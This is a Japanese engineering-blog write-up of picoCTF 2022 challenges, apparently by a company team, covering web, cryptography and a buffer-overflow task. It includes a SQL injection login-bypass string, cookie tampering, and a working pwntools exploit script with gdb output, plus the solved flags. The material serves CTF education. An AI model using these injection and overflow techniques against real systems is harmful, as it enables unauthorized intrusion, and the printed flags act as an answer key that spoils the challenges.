2022/06/14

テクノロジー

picoCTF 2022のWriteup(前編)

この記事の目次

    2022年3月15日17時00分(UTC)〜2022年3月29日20時00分(UTC)に開催されたpicoCTF 2022にチームとして参加しました。

    本記事はそのWriteupとなります。

    概要

    CTF(Capture the Flag)とは情報セキュリティの知識を使うセキュリティコンテンストの一つです。いくつかのジャンルに分かれており、例えば『リバースエンジニアリングによって実行ファイルの脆弱性をつく』だとか『Webアプリの脆弱性をつく』だとか『ファイル内に隠された情報を抜き取る』だとか、そういった攻撃をして隠された『Flag』を手に入れる事を行うコンテストです。

    様々なコンテストが世界中で開催されており、日本では12月に本戦が開催されるSECCONが有名となっています。

    今回、その中でもより初心者向けに特化したpicoCTFに参加しました。各問題についてのwriteupを書きたいと思います。

    picoCTFについて

    picoCTFは米国カーネギーメロン大学主催の中高生向けCTFとなっています。大学生や大人も参加可能となっていて、中高生向けには賞金があります。

    出題されるジャンルとしては以下の5つとなっていて、総合得点は14600です(問題数がかなり多い)。

    • Web Exploitation
    • Cryptography
    • Reverse Engineering
    • Forensics
    • Binary Exploitation

    コンテスト自体は終了していますが、picoCTFに登録することでいつでも回答可能ですので、興味があれば解いてみると良いかと思います!

    結果は7794チーム中1007位でした!

    (解いた問題割合)

    流れ

    (日本時間3月28日午後2時の出来事)

    メンバー

    メンバー紹介(筆者の偏見が混じっています)
    S.Hさん絶対的エース
    S.Rさんマスター・オブ・セキュア
    M.W(私)ひよっこ

    Writeup

    Web Exploitation

    Includes

    jsファイルとcssファイルのコメントとして含まれています。

    Inspect HTML

    こちらはコメントに。

    Local Authority

    非常にセキュアなログイン処理をかいくぐる必要があります。

    Search source

    CSSファイルのコメントとして埋め込まれています。

    Forbidden Paths

    これを、

    こうして、

    こうです。

    Power Cookie

    isAdmin=0というCookieが渡されるので、1に書き換えて再度アクセスします。

    Roboto Sans

    /robots.txtに意味深な文字列があります。

    Base64デコードしたらパスが出てきて、そこにアクセスしたらflagでした。

    Secrets

    ディレクトリを掘り進んでいくと出てきます。

    SQL Direct

    PostgreSQLに接続してテーブルの情報を確認するだけです。PostgreSQLはあまり触らないので、MySQLとのコマンドの違いにちょっと苦戦しました。

    SQLiLite

    SQLインジェクションで認証をバイパスできます。

    <pre>usernamse: &#039; OR 1-1--
    password:
    SQL query: SELECT * FROM users WHERE name=&#039; OR 1=1--&#039; AND password=&#039;&#039;
    </pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p>

    Cryptography

    basic-mod1

    ダウンロードした message.txt の中身は

    202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397

    となっています。

    問題分から、message.txt に記載された数字をそれぞれ37で割った余り(0~36)を、A~Z、0-9、_ に置き換えればよさそうです。

    以下の python3 で以下のとおり実行してみます。

    >>> cipher_text = open("message.txt").read()
    >>> "".join(["ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[int(c)%37] for c in cipher_text.split()])
    'R0UND_N_R0UND_B6B25531'

    復号化されたメッセージ "R0UND_N_R0UND_B6B25531" が分かりました。
    flag は picoCTF{R0UND_N_R0UND_B6B25531} となります。

    basic-mod2

    ダウンロードした message.txt の中身は以下のとおりです。

    104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370

    基本的には basic_mod1 と同じですが、41で割った余りの法41のモジュラ逆数を利用することが異なります。

    整数xの法41のモジュラ逆数とは、x*n%41==1 となる整数Nのことです。
    Pythonでは以下で関数定義します。

    >>> def inverse41(x):
    ...   for i in range(41):
    ...     if x*i%41==1:
    ...       return i
    ...   return 0

    確かに問題なさそうです。

    >>> inverse41(10)*10%41
    1
    >>> inverse41(31)*31%41
    1

    あとは、basic_mod1と同様に解けます。

    >>> cipher_text = open("message.txt").read()
    >>> "".join([" ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[inverse41(int(c)%41)] for c in cipher_text.split()])
    '1NV3R53KY_H4RD_DADAACAA'

    flagは picoCTF{1NV3R53KY_H4RD_DADAACAA} となります。

    credstuff

    ダウンロードした leak.tar を展開すると、passwords.txt と usernames.txt が出力されます。

    $ find leak -ls
      1562440      4 drwxr-xr-x   2 suzuki.hiroaki suzuki.hiroaki     4096 Mar 15 06:29 leak
      1562441     16 -rwxr-xr-x   1 suzuki.hiroaki suzuki.hiroaki    13130 Mar 15 06:29 leak/passwords.txt
      1562442      8 -rwxr-xr-x   1 suzuki.hiroaki suzuki.hiroaki     7531 Mar 15 06:29 leak/usernames.txt

    505人のユーザーのユーザー名とパスワードがそれぞれ、別ファイル usernames.txt と passwords.txt に保管されており、ユーザー cultiris のパスワードを求めればよさそうです。

    $ head -n 3 leak/usernames.txt 
    engineerrissoles
    icebunt
    fruitfultry
    $ head -n 3 leak/passwords.txt 
    CMPTmLrgfYCexGzJu6TbdGwZa
    GK73YKE2XD2TEnvJeHRBdfpt2
    UukmEk5NCPGUSfs5tGWPK26gG
    $ wc -l leak/usernames.txt leak/passwords.txt
      505 leak/usernames.txt
      505 leak/passwords.txt
     1010 total

    grep で cultiris の存在する行を求めて、対応するパスワードを取得します。

    $ grep -n cultiris leak/usernames.txt
    378:cultiris
    $ head -n 378 leak/passwords.txt | tail -n 1
    cvpbPGS{P7e1S_54I35_71Z3}

    パスワードは Rot13 で暗号化されているようです。
    phpを利用して復号化します。

    $ php -r 'echo str_rot13("cvpbPGS{P7e1S_54I35_71Z3}");'
    picoCTF{C7r1F_54V35_71M3}

    flag は picoCTF{C7r1F_54V35_71M3} となります。

    morse-code

    ダウンロードファイルは morse_chal.wav です。
    音楽プレイヤーで再生してみると、問題タイトルどおりモールス信号っぽいです。

    解読のため、音声編集ファイルで開きます。

    モールス信号は

    .-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..-  ----. .... --...

    これを変換サービスを用いて変換します (https://morsecode.world/international/translator.html)
    結果は WH47 H47H 90D W20U9H7 となりました。

    flagは picoCTF{WH47_H47H_90D_W20U9H7} となります。

    substitution0

    ダウンロードした message.txt は以下のとおりです。

    QWITJSYHXCNDFERMUKGOPVALBZ 
    
    Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodj
    skrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qo
    ohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeo
    rs vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet q
    drey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohj
    qmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,
    oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexre
    kjgmjioxey xo.
    
    Ohj sdqy xg: mxirIOS{5PW5717P710E_3V0DP710E_03055505}

    どうやら、単純な換字式暗号のようです。

    先頭行の QWITJSYHXCNDFERMUKGOPVALBZ が A~Zの文字に対応していそうです。

    文字をテーブルに従って変換する関数を定義します。

    >>> def convert(c):
    ...   if 'a' <= c <= 'z': return convert(c.upper()).lower()
    ...   table = 'QWITJSYHXCNDFERMUKGOPVALBZ'
    ...   if c in table: return chr(table.index(c) + 65)
    ...   return c

    変換関数を用いて暗号文を解読します。

    >>> cipher_text = open("message.txt").read()
    >>> print("".join(convert(c) for c in cipher_text))
    ABCDEFGHIJKLMNOPQRSTUVWXYZ 
    
    Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
    from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
    that time, unknown to naturalists—of course a great prize in a scientific point
    of view. There were two round black spots near one extremity of the back, and a
    long one near the other. The scales were exceedingly hard and glossy, with all the
    appearance of burnished gold. The weight of the insect was very remarkable, and,
    taking all things into consideration, I could hardly blame Jupiter for his opinion
    respecting it.
    
    The flag is: picoCTF{5UB5717U710N_3V0LU710N_03055505}

    flagは picoCTF{5UB5717U710N_3V0LU710N_03055505} となります。

    Reverse Engineering

    buffer overflow 1

    Description Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net 60476

    タイトル通りバッファーオーバーフローを狙う問題です。配布されている実行ファイルを実行すると、以下のようになります。どうやら入力文字列を受け取ると文字列とリターンアドレスが表示されるようです。

    maz-picoctf@webshell:~/bof1$ ./vuln 
    Please enter your string: 
    hogehoge
    Okay, time to return... Fingers Crossed... Jumping to 0x804932f
    maz-picoctf@webshell:~/bof1$ 

    やたらめったら長く入力すると、リターンアドレスが変わっているのが確認できます。バッファーオーバーフローしてそうです。

    maz-picoctf@webshell:~/bof1$ ./vuln 
    Please enter your string: 
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    Okay, time to return... Fingers Crossed... Jumping to 0x61616161
    Segmentation fault (core dumped)
    maz-picoctf@webshell:~/bof1$ 

    ソースコードは下記になります。

    //vuln.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include "asm.h"
    
    #define BUFSIZE 32
    #define FLAGSIZE 64
    
    void win() {
      char buf[FLAGSIZE];
      FILE *f = fopen("flag.txt","r");
      if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
      }
    
      fgets(buf,FLAGSIZE,f);
      printf(buf);
    }
    
    void vuln(){
      char buf[BUFSIZE];
      gets(buf);
    
      printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
    }
    
    int main(int argc, char **argv){
    
      setvbuf(stdout, NULL, _IONBF, 0);
    
      gid_t gid = getegid();
      setresgid(gid, gid, gid);
    
      puts("Please enter your string: ");
      vuln();
      return 0;
    }

    getsは入力長を制限できないため buf[BUFSIZE];を超えた入力を受け付けてしまう脆弱性があります。
    よって戦略としては、getsに対してバッファーオーバーフローを発生させ、win()関数のアドレスを指定することでwin()関数をコールしフラグを入手することになりそうです。

    何桁の入力でオーバーフローするか特定します。

    maz-picoctf@webshell:~/bof1$ gdb vuln
    GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
    Copyright (C) 2020 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
        <http://www.gnu.org/software/gdb/documentation/>.
    
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from vuln...
    (No debugging symbols found in vuln)
    gdb-peda$ run
    Starting program: /home/maz-picoctf/bof1/vuln 
    warning: Error disabling address space randomization: Operation not permitted
    Please enter your string: 
    AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
    Okay, time to return... Fingers Crossed... Jumping to 0x41414641
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x41 ('A')
    EBX: 0x61414145 ('EAAa')
    ECX: 0xffffffff 
    EDX: 0x41 ('A')
    ESI: 0xf7f22000 --> 0x1ead6c 
    EDI: 0xf7f22000 --> 0x1ead6c 
    EBP: 0x41304141 ('AA0A')
    ESP: 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    EIP: 0x41414641 ('AFAA')
    EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x41414641
    [------------------------------------stack-------------------------------------]
    0000| 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0004| 0xffb13c64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0008| 0xffb13c68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0012| 0xffb13c6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0016| 0xffb13c70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0020| 0xffb13c74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0024| 0xffb13c78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    0028| 0xffb13c7c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x41414641 in ?? ()
    gdb-peda$ patto 0x41414641
    1094796865 found at offset: 44
    gdb-peda$ Aborted (core dumped)
    maz-picoctf@webshell:~/bof1$  

    gdb-pedaで確認したところ44桁でオーバーフローしそうです。
    以上を受けてexploitを作成します。

    # exploit.py
    from pwn import *
    
    
    FILE = "./vuln"
    LIBC = ""
    HOST = "saturn.picoctf.net"
    PORT = 60476
    
    
    def exploit(con, elf, libc, rop):
    
        win_symbols = elf.symbols["win"]
        log.info("win symbol: {}".format(hex(win_symbols)))
    
        offset = 44
        payload = b"A" * offset
        payload += pack(win_symbols)
        log.info("payload: {}".format(payload))
        con.sendline(payload)
    
    
    def main():
        # context(arch=ARCH, os="linux")
    
        if args["REMOTE"]:
            con = remote(HOST, PORT)
        else:
            con = process([FILE])
    
        elf = ELF(FILE)
        if LIBC != "":
            libc = ELF(LIBC)
        else:
            libc = ""
        rop = ROP(elf)
        exploit(con, elf, libc, rop)
        con.interactive()
    
    
    if __name__ == "__main__":
        main()
    maz-picoctf@webshell:~/bof1$ python exploit.py REMOTE
    [+] Opening connection to saturn.picoctf.net on port 60476: Done
    [*] '/home/maz-picoctf/bof1/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x8048000)
        RWX:      Has RWX segments
    [*] Loaded 10 cached gadgets for './vuln'
    [*] win symbol: 0x80491f6
    [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'
    [*] Switching to interactive mode
    Please enter your string: 
    Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
    picoCTF{addr3ss3s_ar3_3asy_2e53b270}[*] Got EOF while reading in interactive

    flag: picoCTF{addr3ss3s_ar3_3asy_2e53b270}

    参考: https://tsalvia.hatenablog.com/entry/2019/11/10/050000#OneShot_OneKillPwnable

    後編へ続く・・

    • 2022/06/21

      picoCTF 2022のWriteup(後編)

      CTF(Capture the Flag)とは情報セキュリティの知識を使うセキュリティコンテンストの一つです。いくつかのジャンルに分かれており、例えば『リバースエンジニアリングによって実行ファイルの脆弱性をつく』だとか『Webアプリの脆弱性をつく』だとか『ファイル内に隠された情報を抜き取る』だとか、そういった攻撃をして隠された『Flag』を手に入れる事を行うコンテストです。今回、その中でもより初心者向けに特化したpicoCTFに参加しました。各問題についてのwriteupを書きたいと思います。

      テクノロジー

    ※サムネ画像ロゴは『picoCTF』より引用

    ※本記事は2022年06月時点の情報です。

    著者:マイナビエンジニアブログ編集部